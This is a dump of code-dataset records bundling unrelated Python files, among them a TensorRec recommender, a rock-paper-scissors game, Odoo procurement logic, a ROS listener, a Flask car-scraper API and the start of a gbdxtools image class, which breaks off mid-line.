transpose_b=True)\n + tf.expand_dims(self.tf_projected_user_biases, 1)\n + tf.expand_dims(self.tf_projected_item_biases, 0)\n )\n\n # Double-sortation serves as a ranking process\n tf_prediction_item_size = tf.shape(self.tf_prediction_dense)[1]\n tf_indices_of_ranks = tf.nn.top_k(self.tf_prediction_dense, k=tf_prediction_item_size)[1]\n self.tf_rankings = tf.nn.top_k(-tf_indices_of_ranks, k=tf_prediction_item_size)[1]\n\n self.tf_weights = []\n self.tf_weights.extend(user_weights)\n self.tf_weights.extend(item_weights)\n self.tf_weights.append(self.tf_user_feature_biases)\n self.tf_weights.append(self.tf_item_feature_biases)\n\n # Loss function nodes\n self.tf_basic_loss = self.loss_graph_factory(tf_prediction=self.tf_prediction_sparse, tf_y=self.tf_y)\n self.tf_weight_reg_loss = sum(tf.nn.l2_loss(weights) for weights in self.tf_weights)\n self.tf_loss = self.tf_basic_loss + (self.tf_alpha * self.tf_weight_reg_loss)\n self.tf_optimizer = tf.train.AdamOptimizer(learning_rate=self.tf_learning_rate).minimize(self.tf_loss)\n\n def fit(self, interactions, user_features, item_features, epochs=100, learning_rate=0.1, alpha=0.0001,\n verbose=False, out_sample_interactions=None):\n \"\"\"\n Constructs the TensorRec graph and fits the model.\n :param interactions: scipy.sparse matrix\n A matrix of interactions of shape [n_users, n_items].\n :param user_features: scipy.sparse matrix\n A matrix of user features of shape [n_users, n_user_features].\n :param item_features: scipy.sparse matrix\n A matrix of item features of shape [n_items, n_item_features].\n :param epochs: Integer\n The number of epochs to fit the model.\n :param learning_rate: Float\n The learning rate of the model.\n :param alpha:\n The weight regularization loss coefficient.\n :param verbose: boolean\n If true, the model will print a number of status statements during fitting.\n :param out_sample_interactions: scipy.sparse matrix\n A matrix of interactions of shape [n_users, n_items].\n If not None, and verbose == True, the model will be evaluated on these interactions on every epoch.\n \"\"\"\n\n # Pass-through to fit_partial\n self.fit_partial(interactions, user_features, item_features, epochs, learning_rate, alpha, verbose,\n out_sample_interactions)\n\n def fit_partial(self, interactions, user_features, item_features, epochs=1, learning_rate=0.1,\n alpha=0.0001, verbose=False, out_sample_interactions=None):\n \"\"\"\n Constructs the TensorRec graph and fits the model.\n :param interactions: scipy.sparse matrix\n A matrix of interactions of shape [n_users, n_items].\n :param user_features: scipy.sparse matrix\n A matrix of user features of shape [n_users, n_user_features].\n :param item_features: scipy.sparse matrix\n A matrix of item features of shape [n_items, n_item_features].\n :param epochs: Integer\n The number of epochs to fit the model.\n :param learning_rate: Float\n The learning rate of the model.\n :param alpha:\n The weight regularization loss coefficient.\n :param verbose: boolean\n If true, the model will print a number of status statements during fitting.\n :param out_sample_interactions: scipy.sparse matrix\n A matrix of interactions of shape [n_users, n_items].\n If not None, and verbose == True, the model will be evaluated on these interactions on every epoch.\n \"\"\"\n\n session = get_session()\n\n # Check if the graph has been constructed buy checking the dense prediction node\n # If it hasn't been constructed, initialize it\n if self.tf_prediction_dense is None:\n # Numbers of features are learned at fit time from the shape of these two matrices and cannot be changed\n # without refitting\n self._build_tf_graph(n_user_features=user_features.shape[1], n_item_features=item_features.shape[1])\n session.run(tf.global_variables_initializer())\n\n if verbose:\n print('Processing interaction and feature data')\n\n feed_dict = self._create_feed_dict(interactions, user_features, item_features,\n extra_feed_kwargs={self.tf_learning_rate: learning_rate,\n self.tf_alpha: alpha})\n\n if verbose:\n print('Beginning fitting')\n\n for epoch in range(epochs):\n\n session.run(self.tf_optimizer, feed_dict=feed_dict)\n\n if verbose:\n mean_loss = self.tf_basic_loss.eval(session=session, feed_dict=feed_dict)\n mean_pred = np.mean(self.tf_prediction_sparse.eval(session=session, feed_dict=feed_dict))\n weight_reg_l2_loss = (alpha * self.tf_weight_reg_loss).eval(session=session, feed_dict=feed_dict)\n print('EPOCH %s loss = %s, weight_reg_l2_loss = %s, mean_pred = %s' % (epoch, mean_loss,\n weight_reg_l2_loss, mean_pred))\n if out_sample_interactions:\n os_feed_dict = self._create_feed_dict(out_sample_interactions, user_features, item_features)\n os_loss = self.tf_basic_loss.eval(session=session, feed_dict=os_feed_dict)\n print('Out-Sample loss = %s' % os_loss)\n\n def predict(self, user_ids, item_ids, user_features, item_features):\n \"\"\"\n Predict recommendation scores for the given users and items.\n :param user_ids: Iterable\n An iterable of length num_predictions of the user ids to predict.\n :param item_ids: Iterable\n An iterable of length num_predictions of the item ids to predict.\n :param user_features: scipy.sparse matrix\n A matrix of user features of shape [n_users, n_user_features].\n :param item_features: scipy.sparse matrix\n A matrix of item features of shape [n_items, n_item_features].\n :return: np.array\n The recommendation scores of length num_predictions.\n \"\"\"\n\n if len(user_ids) != len(item_ids):\n raise ValueError(\"Args user_ids and item_ids must be of equal length\")\n\n user_ids = np.asarray(user_ids, dtype=np.int32)\n item_ids = np.asarray(item_ids, dtype=np.int32)\n\n placeholders = sp.dok_matrix((max(user_ids) + 1, max(item_ids) + 1))\n for user, item in zip(user_ids, item_ids):\n placeholders[user, item] = 1\n\n feed_dict = self._create_feed_dict(placeholders, user_features, item_features)\n\n predictions = self.tf_prediction_sparse.eval(session=get_session(), feed_dict=feed_dict)\n\n return predictions\n\n def predict_rank(self, test_interactions, user_features, item_features):\n # TODO JK - fix this API and document\n\n feed_dict = self._create_feed_dict(test_interactions, user_features, item_features)\n\n # TODO JK - I'm commenting this out for now, but this does the ranking using numpy ops instead of tf ops\n # predictions = self.tf_prediction_dense.eval(session=get_session(), feed_dict=feed_dict)\n # rankings = (-predictions).argsort().argsort()\n\n rankings = self.tf_rankings.eval(session=get_session(), feed_dict=feed_dict)\n\n result_dok = sp.dok_matrix(rankings.shape)\n for user_id, item_id in zip(feed_dict[self.tf_x_user], feed_dict[self.tf_x_item]):\n result_dok[user_id, item_id] = rankings[user_id, item_id]\n\n return sp.csr_matrix(result_dok, dtype=np.float32)\n","sub_path":"tensorrec/tensorrec.py","file_name":"tensorrec.py","file_ext":"py","file_size_in_byte":16080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"360900419","text":"#Rock Paper Scissors\r\n#Quick project to keep that github green\r\n#Logic should be pretty simple\r\n#User input implementation after or with starting?\r\nimport sys\r\nfrom time import sleep\r\nimport random\r\n\r\n\r\ncompScore = 0\r\nplayerScore = 0\r\ntest2 = [\"Rock\", \"Paper\", \"Scissors\"]\r\n\r\n\r\n\r\ndef rps_init():\r\n global compScore\r\n global playerScore\r\n print(\"Alright, I'll assume you know the rules of the games\");\r\n sleep(1)\r\n print(\"We have only 1 game mode currently, first to 3 points wins\");\r\n sleep(1)\r\n print(\"Starting the game....\");\r\n sleep(1)\r\n\r\n print(\"Rock\\tPaper\\tScissors\")\r\n while playerScore < 3 and compScore < 3:\r\n test = input(\"Enter your choice: \")\r\n if test == \"Rock\":\r\n j = (random.choice(test2))\r\n print(j)\r\n if j == \"Paper\":\r\n print(\"Opponents Choice: Paper \\n 1 point to computer\")\r\n compScore+=1\r\n print(playerScore)\r\n elif j == \"Rock\":\r\n print(\"Computer player chose Rock as well, play again\")\r\n elif j == \"Scissors\":\r\n print(\"Computer player chose Scissors, 1 point to you\")\r\n playerScore+=1\r\n print(playerScore)\r\n if test == \"Paper\":\r\n k = (random.choice(test2))\r\n print(k)\r\n if k == \"Paper\":\r\n print(\"Computer player chose Paper as well, play again\")\r\n elif k == \"Rock\":\r\n print(\"Computer player chose Rock, 1 point to you\")\r\n playerScore+=1\r\n print(playerScore)\r\n elif k == \"Scissors\":\r\n print(\"Computer player chose Scissors, 1 point to computer\")\r\n compScore+=1\r\n print(playerScore)\r\n if test == \"Scissors\":\r\n z = (random.choice(test2))\r\n print(z)\r\n if z == \"Paper\":\r\n print(\"Computer player chose Paper, 1 point to you\")\r\n playerScore+=1\r\n print(playerScore)\r\n elif z == \"Rock\":\r\n print(\"Computer player chose Rock, 1 point to computer\")\r\n compScore+=1\r\n print(playerScore)\r\n elif z == \"Scissors\":\r\n print(\"Computer player chose Scissors as well, play again\")\r\n\r\n if playerScore == 3:\r\n print(\"Congratulations, you won! Play one more round?\")\r\n elif compScore == 3:\r\n print(\"Tough luck, computer won this round. Wanna give it another try?\")\r\n\r\n\r\nprint(\"Welcome to Ritvik's Rock Paper Scissors game\")\r\nwhile True:\r\n game_Init = input(\"Press ENTER to start a game, or Q to quit\")\r\n if game_Init == \"\" \\\r\n \"\":\r\n print(\"Let's begin\")\r\n break\r\n elif game_Init == \"q\" and \"Q\":\r\n print(\"Sad to see you go, please come back another time\")\r\n sys.exit()\r\nrps_init()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"77864107","text":"#!/usr/bin/env python\n# coding:utf-8\n\nfrom collections import OrderedDict\n\n\nclass LIFODict(OrderedDict):\n\n def __init__(self, capacity):\n super().__init__()\n self._capacity = capacity\n\n def __setitem__(self, key, value):\n contains_key = 1 if key in self else 0\n if len(self) - contains_key >= self._capacity:\n last = self.popitem(last=True)\n print('remove:', last)\n if contains_key:\n del self[key]\n print('set:', (key, value))\n else:\n print('add:', (key, value))\n OrderedDict.__setitem__(self, key, value)\n\nif __name__ == '__main__':\n fd = LIFODict(2)\n fd['a'] = 1\n fd['b'] = 2\n print(fd)\n fd['c'] = 3\n print(fd)\n","sub_path":"examples/09_LIFODict.py","file_name":"09_LIFODict.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"530240445","text":"#找三个数中的最大值\nstr = input()\na = str.split(\" \")\n\nwhile(a[0]!=None and a[1]!=None):\n x1 = eval(a[0])\n x2 = eval(a[1])\n x3 = eval(a[2])\n max = x3\n if(x1>x2):\n if(x1>x3):\n max = x1\n else:\n max = x3\n else:\n if(x2>x3):\n max = x2\n else:\n max = x3\n\n print(max)\n \n str = input()\n a = str.split(\" \")\n\n","sub_path":"python语言学习/ACM/找三个数中的最大值.py","file_name":"找三个数中的最大值.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"374303244","text":"from datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT, DATETIME_FORMATS_MAP\nfrom openerp.osv import fields, osv\nimport pytz\nfrom openerp import SUPERUSER_ID, workflow\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom operator import attrgetter\nfrom openerp.tools.safe_eval import safe_eval as eval\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\nfrom openerp.osv.orm import browse_record_list, browse_record, browse_null\nfrom openerp.tools.float_utils import float_round\n\nclass purchase_order_line(osv.osv):\n _inherit = \"purchase.order.line\"\n\n _columns = {\n 'sale_line_id': fields.many2one('sale.order.line', 'Sale Order Line', help='Sale order line from whence this purchase order line was created.'),\n 'sale_id': fields.many2one('sale.order', 'Sale Order', help='Sale order from whence this purchase was created'),\n }\n\nclass purchase_order(osv.osv):\n _inherit = \"purchase.order\"\n \n _columns = { \n 'sale_id': fields.many2one('sale.order', 'Sale Order', help='Sale order from whence this purchase was created'),\n }\n \n\nclass sale_order(osv.osv):\n _inherit = \"sale.order\"\n \n def _prepare_procurement_group(self, cr, uid, order, context=None):\n \n res = super(sale_order, self)._prepare_procurement_group(cr, uid, order, context)\n res['sale_id'] = order.id \n\n return res\n \n def _prepare_order_line_procurement(self, cr, uid, order, line, group_id=False, context=None):\n\n res = super(sale_order, self)._prepare_order_line_procurement(cr, uid, order=order, line=line, group_id=group_id, context=context)\n \n for sale_line in line:\n\n res['sale_line_id'] = sale_line.id\n res['sale_id'] = sale_line.order_id.id\n \n return res\n\nclass procurement_order(osv.osv):\n _inherit = 'procurement.order'\n \n def make_po(self, cr, uid, ids, context=None):\n \n \"\"\" Resolve the purchase from procurement, which may result in a new PO creation, a new PO line creation or a quantity change on existing PO line.\n Note that some operations (as the PO creation) are made as SUPERUSER because the current user may not have rights to do it (mto product launched by a sale for example)\n\n @return: dictionary giving for each procurement its related resolving PO line.\n \"\"\"\n \n res = {}\n company = self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id\n po_obj = self.pool.get('purchase.order')\n po_line_obj = self.pool.get('purchase.order.line')\n seq_obj = self.pool.get('ir.sequence')\n pass_ids = []\n linked_po_ids = []\n sum_po_line_ids = []\n for procurement in self.browse(cr, uid, ids, context=context):\n partner = self._get_product_supplier(cr, uid, procurement, context=context)\n if not partner:\n self.message_post(cr, uid, [procurement.id], _('There is no supplier associated to product %s') % (procurement.product_id.name))\n res[procurement.id] = False\n else:\n schedule_date = self._get_purchase_schedule_date(cr, uid, procurement, company, context=context)\n purchase_date = self._get_purchase_order_date(cr, uid, procurement, company, schedule_date, context=context) \n line_vals = self._get_po_line_values_from_proc(cr, uid, procurement, partner, company, schedule_date, context=context)\n #look for any other draft PO for the same supplier, to attach the new line on instead of creating a new draft one\n\n available_draft_po_ids = procurement.sale_id and po_obj.search(cr, uid, [\n ('partner_id', '=', partner.id), ('state', '=', 'draft'), ('picking_type_id', '=', procurement.rule_id.picking_type_id.id), ('sale_id', '=', procurement.sale_id.id), \n ('location_id', '=', procurement.location_id.id), ('company_id', '=', procurement.company_id.id), ('dest_address_id', '=', procurement.partner_dest_id.id)], context=context) or []\n if procurement.sale_id and available_draft_po_ids:\n po_id = available_draft_po_ids[0]\n po_rec = po_obj.browse(cr, uid, po_id, context=context)\n #if the product has to be ordered earlier those in the existing PO, we replace the purchase date on the order to avoid ordering it too late\n if datetime.strptime(po_rec.date_order, DEFAULT_SERVER_DATETIME_FORMAT) > purchase_date:\n po_obj.write(cr, uid, [po_id], {'date_order': purchase_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT)}, context=context)\n #look for any other PO line in the selected PO with same product and UoM to sum quantities instead of creating a new po line\n available_po_line_ids = po_line_obj.search(cr, uid, [('sale_id', '=', procurement.sale_id.id), ('order_id', '=', po_id), ('product_id', '=', line_vals['product_id']), ('product_uom', '=', line_vals['product_uom'])], context=context)\n if procurement.sale_id and available_po_line_ids:\n po_line = po_line_obj.browse(cr, uid, available_po_line_ids[0], context=context)\n po_line_obj.write(cr, SUPERUSER_ID, po_line.id, {'product_qty': po_line.product_qty + line_vals['product_qty']}, context=context)\n po_line_id = po_line.id\n sum_po_line_ids.append(procurement.id)\n else:\n line_vals.update(order_id=po_id)\n po_line_id = po_line_obj.create(cr, SUPERUSER_ID, line_vals, context=context)\n linked_po_ids.append(procurement.id)\n else:\n name = seq_obj.get(cr, uid, 'purchase.order') or _('PO: %s') % procurement.name\n po_vals = {\n 'name': name,\n 'origin': procurement.origin,\n 'partner_id': partner.id,\n 'location_id': procurement.location_id.id,\n 'picking_type_id': procurement.rule_id.picking_type_id.id,\n 'pricelist_id': partner.property_product_pricelist_purchase.id,\n 'currency_id': partner.property_product_pricelist_purchase and partner.property_product_pricelist_purchase.currency_id.id or procurement.company_id.currency_id.id,\n 'date_order': purchase_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT),\n 'company_id': procurement.company_id.id,\n 'fiscal_position': partner.property_account_position and partner.property_account_position.id or False,\n 'payment_term_id': partner.property_supplier_payment_term.id or False,\n 'dest_address_id': procurement.partner_dest_id.id,\n 'sale_id': procurement.sale_id.id,\n }\n po_id = self.create_procurement_purchase_order(cr, SUPERUSER_ID, procurement, po_vals, line_vals, context=context)\n po_line_id = po_obj.browse(cr, uid, po_id, context=context).order_line[0].id\n pass_ids.append(procurement.id)\n res[procurement.id] = po_line_id\n self.write(cr, uid, [procurement.id], {'purchase_line_id': po_line_id}, context=context)\n if pass_ids:\n self.message_post(cr, uid, pass_ids, body=_(\"Draft Purchase Order created\"), context=context)\n if linked_po_ids:\n self.message_post(cr, uid, linked_po_ids, body=_(\"Purchase line created and linked to an existing Purchase Order\"), context=context)\n if sum_po_line_ids:\n self.message_post(cr, uid, sum_po_line_ids, body=_(\"Quantity added in existing Purchase Order Line\"), context=context)\n return res","sub_path":"ursa_split_procurements_by_sale/purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"106739534","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import WrenchStamped, TransformStamped\nimport tf2_msgs.msg\n\ndef eth_callback(msg):\n\trospy.loginfo(\"%u Fx:%.2f Fy:%.2f Fz:%.2f Tx:%.2f Ty:%.2f Tz:%.2f \\r\\n\", msg.header.seq, msg.wrench.force.x, msg.wrench.force.y, msg.wrench.force.z, msg.wrench.torque.x, msg.wrench.torque.y, msg.wrench.torque.z)\n\ndef ur_callback(msg):\n\tfor t in msg.transforms:\n\t\trospy.loginfo(\"X:%.2f Y:%.2f Z:%.2f Rx:%.2f Ry:%.2f Rz:%.2f \\r\\n\", t.transform.translation.x, t.transform.translation.y, t.transform.translation.z, t.transform.rotation.x, t.transform.rotation.y, t.transform.rotation.z)\n\ndef listener():\n\trospy.init_node('listener', anonymous=True)\n\trospy.Subscriber('ethdaq_data', WrenchStamped , eth_callback)\n\trospy.Subscriber('tf', tf2_msgs.msg.TFMessage, ur_callback)\n\trospy.spin()\n\nif __name__ == '__main__':\n\tlistener()\n","sub_path":"mySubscriber/src/ur_subscriber/src/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"560671476","text":"# -*- coding: utf-8 -*-\nimport json\nimport urllib\nimport requests\nimport config\nimport pandas as pd\nimport config\nimport threading\nimport json\nimport io\nimport geo\nimport requests \nfrom datetime import datetime\nfrom sqlalchemy import create_engine, Column, MetaData, Table, DateTime, String, Integer, ForeignKey, BIGINT,TEXT,FLOAT,inspect, event\n\n\nresults = []\nurl = 'https://parseapi.back4app.com/classes/City?limit=10000000'\nheaders = {\n 'X-Parse-Application-Id': 'XBDCWdxtLIjvbXp1pR4HZ3qPKDfqgt2OyEn8Wo8x', # This is the fake app's application id\n 'X-Parse-Master-Key': 'oGuexYgobvHBECTDeE4icjmZR9Zd3YFX0JIapVnY' # This is the fake app's readonly master key\n}\ndata = json.loads(requests.get(url, headers=headers).content.decode('utf-8')) # Here you have the data that you need\nprint(json.dumps(data, indent=2))\n\nlen_citys = len(data['results'])\n\nfor i in range(0, len_citys):\n #print(data['results'][i]['name'])\n object_id = data['results'][i]['objectId']\n city_id = data['results'][i]['cityId']\n name = data['results'][i]['name']\n lat = data['results'][i]['location']['latitude']\n lng = data['results'][i]['location']['longitude']\n country = data['results'][i]['country']\n country_code = data['results'][i]['countryCode']\n adminCode = data['results'][i]['adminCode']\n \n result_data = {'object_id': object_id, 'city_id': city_id, 'name': name, 'lat': lat, 'lng': lng, 'country': country,\n 'country_code': country_code, 'admin_code': adminCode}\n\n results.append(result_data)\n \n \n\ndf = pd.DataFrame(results) \nengine = create_engine('postgresql://'+config.DATABASE_CONFIG['user']+':'+config.DATABASE_CONFIG['password']+'@'+config.DATABASE_CONFIG['host']+':'+config.DATABASE_CONFIG['port']+'/'+config.DATABASE_CONFIG['dbname']\n , connect_args={'options': '-csearch_path={}'.format(config.DATABASE_CONFIG['schema_mx'])})\n\nconnection = engine.connect() \n \ndf.head(0).to_sql(config.GEO_MX['table_lz'], engine, if_exists='append',index=False)\n \nconn = engine.raw_connection()\ncur = conn.cursor()\noutput = io.StringIO()\ndf.to_csv(output, sep='\\t', header=False, index=False)\noutput.seek(0)\ncur.copy_from(output, config.GEO_MX['table_lz'], null=\"\") # null values become ''\nconn.commit()\nconnection.close()\n ","sub_path":"Rappi/geo_mx.py","file_name":"geo_mx.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"607057316","text":"import pandas as pd\n\ndef Temperature():\n temp = pd.read_csv('GlobalSurfaceTemperature.csv')\n temp = temp[temp.columns[1:]].set_index(pd.to_datetime(temp.Year.astype('str'))).head()\n gas = pd.read_csv('GreenhouseGas.csv')\n gas = gas[gas.columns[1:]].set_index(pd.to_datetime(gas.Year.astype('str')))\n co2 = pd.read_csv('CO2ppm.csv')\n co2 = co2[co2.columns[1:]].set_index(pd.to_datetime(co2.Year.astype('str'))).head()\n df = pd.concat([gas, co2, temp], axis=1)\n\n\n","sub_path":"challenge7_4.py","file_name":"challenge7_4.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"557307955","text":"# 1. 导包\nfrom bs4 import BeautifulSoup\n# 2. 解析html文件 并获取对象\nh = \"\"\"\n \n \n 黑马程序员\n \n \n

软件测试

\n

2020年

\n
接口测试\n Web自动化测试 \n APP自动化测试\n \n\n\"\"\"\n# (1)获取文件方式一\nbs1 = BeautifulSoup(h,\"html.parser\")\n# (1)获取文件方式二\n# bs2 = BeautifulSoup(open(\"index.html\"),\"html.parser\")\n\n# 3. 从对象中获取 指定的元素或者元素属性\n# 1. 获取整个title标签\nprint(bs1.title)\n# 2. 获取标签名\nprint(bs1.title.name)\n# 3. 获取文字\nprint(bs1.title.string)\n# 4. 获取属性\nprint(bs1.p.get(\"id\")) # print(bs1.p[\"id\"])\n# 5. 批量找元素\nfor a in bs1.find_all(\"a\"):\n print(a.get(\"href\"), a.string)","sub_path":"scripts/bs4_test.py","file_name":"bs4_test.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"216877421","text":"__author__ = 'jingxuan'\nimport unittest\nfrom genomeapi.elements.extraction_fn import ExtractionFn\n\nclass TestExtractionFn(unittest.TestCase):\n def test_string_extraction_fn(self):\n string_extraction_fn = ExtractionFn(typ='substring')\n res = string_extraction_fn(index=1, length=4)\n expected = {\n \"type\": \"substring\",\n \"index\": 1,\n \"length\": 4\n }\n self.assertEqual(res, expected)\n\n def test_time_format_extraction_fn(self):\n time_format_extraction_fn = ExtractionFn(typ='timeFormat')\n res = time_format_extraction_fn(format='EEEE', timezone='Australia/Sydney')\n expected = {\n \"type\": \"timeFormat\",\n \"format\": \"EEEE\",\n \"timeZone\": \"Australia/Sydney\",\n \"locale\": \"en\"\n }\n self.assertEqual(res, expected)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"testing/element/test_extraction_fn_element.py","file_name":"test_extraction_fn_element.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"301216773","text":"import pandas as pd \nfrom flask import Flask, jsonify, render_template, redirect\nimport pymongo\nimport CarsScraperSingleWin\nimport TrueCarScraper\nimport json\n\napp = Flask(__name__)\nconn = \"mongodb://localhost:27017\"\nclient = pymongo.MongoClient(conn)\ndb = client.usedCarsDB\ncars_collection = db.cars\ntrueCar_collection = db.trueCar\n\n@app.route(\"/\")\ndef index():\n\n landing_page = '''

User Cars Search API

\n

Available links

\n

/api/v1/allCar

\n

/api/v1/truecar

\n

/api/v1/cars

\n

/scrape

\n '''\n\n return landing_page\n\n@app.route(\"/scrape\")\ndef scrape():\n searchCars = CarsScraperSingleWin.scrape()\n searchTrueCar = TrueCarScraper.scrape()\n \n cars_collection.insert_many(searchCars)\n trueCar_collection.insert_many(searchTrueCar)\n\n return redirect(\"/\")\n\n@app.route(\"/api/v1/allCar\")\ndef allCar():\n\n allCars = list(cars_collection.find())\n\n for car in trueCar_collection.find():\n allCars.append(car)\n\n # Remove id from each record before converting to JSON\n for car in allCars:\n car.pop(\"_id\")\n\n return jsonify(allCars)\n\n@app.route(\"/api/v1/truecar\")\ndef trueCar():\n\n allCars = list(trueCar_collection.find())\n\n # Remove id from each record before converting to JSON\n for car in allCars:\n car.pop(\"_id\")\n\n return jsonify(allCars)\n\n@app.route(\"/api/v1/cars\")\ndef cars():\n\n allCars = list(cars_collection.find())\n\n # Remove id from each record before converting to JSON\n for car in allCars:\n car.pop(\"_id\")\n\n return jsonify(allCars)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"app-win.py","file_name":"app-win.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"496727414","text":"\"\"\"Convert between HH:MM:SS and seconds, output as JSON blur annotations.\n\nTab-delimited input format:\n\nHH:MM:SSdescription\nMM:SSdescription\n...\n\"\"\"\n\nimport datetime as dt\nimport re\nimport sys\nimport warnings\n\n\ndef hms2s(time_str):\n \"\"\"Convert HH:MM:SS times to seconds.\"\"\"\n times = [float(i) for i in time_str.split(':')]\n size = len(times)\n if size > 3:\n raise NotImplementedError('Expected input: HH:MM:SS or MM:SS.')\n elif 1 <= size <= 3:\n padding = [0] * (3 - size)\n h, m, s = *padding, *times\n else:\n warnings.warn(f'time_str cannot be processed: {time_str}')\n return None\n return dt.timedelta(hours=h, minutes=m, seconds=s).total_seconds()\n\n\ndef s2hms(secs, rounding=True):\n \"\"\"Convert seconds to HH:MM:SS.\"\"\"\n if rounding:\n secs = round(secs)\n return str(dt.timedelta(seconds=secs))\n\n\nif __name__ == '__main__':\n in_lines = sys.stdin.readlines()\n for line in in_lines:\n line = line.strip()\n try:\n start, desc = line.split(maxsplit=1)\n except ValueError:\n warnings.warn(f'line skipped: {line}')\n continue\n desc = desc.strip()\n seconds = hms2s(start)\n try:\n end = seconds + 10\n except ValueError:\n end = seconds\n print( ' {\\n'\n ' \"options\": {\\n'\n f' \"label\": \"{desc} {start}\",\\n'\n f' \"start\": \"{seconds}\",\\n'\n f' \"end\": \"{end}\",\\n'\n ' \"type\": \"censor\",\\n'\n ' \"details\": {\\n'\n ' \"type\": \"blur\",\\n'\n ' \"amount\": \"30px\",\\n'\n ' \"position\": {\\n'\n f' \"{seconds}\": [55, 79, 4, 5]\\n'\n ' }\\n'\n ' }\\n'\n ' }\\n'\n ' }\\n\\n')\n","sub_path":"scripts/hms2s.py","file_name":"hms2s.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"51699876","text":"from __future__ import print_function\nimport math\n\nfrom gbdxtools.images.meta import DaskMeta, DaskImage, GeoImage, PlotMixin\nfrom gbdxtools.ipe.util import RatPolyTransform, AffineTransform\nfrom gbdxtools.ipe.interface import DaskProps\nfrom gbdxtools.ipe.graph import get_ipe_graph\nfrom gbdxtools.auth import Auth\n\nfrom shapely import wkt, ops\nfrom shapely.geometry import box, mapping\nfrom shapely.geometry.base import BaseGeometry\n\nfrom dask import optimize\nimport dask.array as da\n\nimport numpy as np\n\ntry:\n xrange\nexcept NameError:\n xrange = range\n\nclass GraphMeta(DaskProps, DaskMeta):\n def __init__(self, graph_id, node_id=None, **kwargs):\n assert graph_id is not None\n self._ipe_id = graph_id\n self._node_id = node_id\n self._interface = Auth()\n self._ipe_meta = None\n self._graph = None\n self._nid = None\n\n @property\n def _id(self):\n if self._nid is not None:\n return self._nid\n elif self._node_id is not None:\n self._nid = self._node_id\n else:\n graph = self.graph()\n self._nid = graph[\"nodes\"][-1][\"id\"]\n return self._nid\n\n def graph(self):\n if self._graph is None:\n self._graph = get_ipe_graph(self._interface.gbdx_connection, self._ipe_id)\n return self._graph\n\n\nclass IpeImage(DaskImage, GeoImage, PlotMixin):\n _default_proj = \"EPSG:4326\"\n\n def __new__(cls, op, **kwargs):\n if op is not None:\n assert isinstance(op, DaskMeta)\n elif \"graph_id\" in kwargs:\n op = GraphMeta(**kwargs)\n self = super(IpeImage, cls).create(op)\n self._ipe_op = op\n if self.ipe.metadata[\"georef\"] is None:\n tfm = RatPolyTransform.from_rpcs(self.ipe.metadata[\"rpcs\"])\n else:\n tfm = AffineTransform.from_georef(self.ipe.metadata[\"georef\"])\n img_md = self.ipe.metadata[\"image\"]\n xshift = img_md[\"minTileX\"]*img_md[\"tileXSize\"]\n yshift = img_md[\"minTileY\"]*img_md[\"tileYSize\"]\n self.__geo_transform__ = tfm + (xshift, yshift)\n self.__geo_interface__ = mapping(self._reproject(wkt.loads(self.ipe.metadata[\"image\"][\"imageBoundsWGS84\"])))\n minx = img_md[\"minX\"] - xshift\n maxx = img_md[\"maxX\"] - xshift\n miny = img_md[\"minY\"] - yshift\n maxy = img_md[\"maxY\"] - yshift\n return self[:, miny:maxy, minx:maxx]\n\n @property\n def __daskmeta__(self):\n return self.ipe\n\n @property\n def ipe(self):\n return self._ipe_op\n\n @property\n def ipe_id(self):\n return self.ipe._ipe_id\n\n @property\n def ipe_metadata(self):\n return self.ipe.metadata\n\n @property\n def ntiles(self):\n size = float(self.ipe.metadata['image']['tileXSize'])\n return math.ceil((float(self.shape[-1]) / size)) * math.ceil(float(self.shape[1]) / size)\n\n def __getitem__(self, geometry):\n if isinstance(geometry, BaseGeometry) or getattr(geometry, \"__geo_interface__\", None) is not None:\n image = GeoImage.__getitem__(self, geometry)\n image._ipe_op = self._ipe_op\n return image\n else:\n result = super(IpeImage, self).__getitem__(geometry)\n dsk = self._cull(result.dask, result.__dask_keys__())\n image = super(IpeImage, self.__class__).__new__(self.__class__,\n dsk, result.name, result.chunks,\n result.dtype, result.shape)\n\n if all([isinstance(e, slice) for e in geometry]) and len(geometry) == len(self.shape):\n xmin, ymin, xmax, ymax = geometry[2].start, geometry[1].start, geometry[2].stop, geometry[1].stop\n xmin = 0 if xmin is None 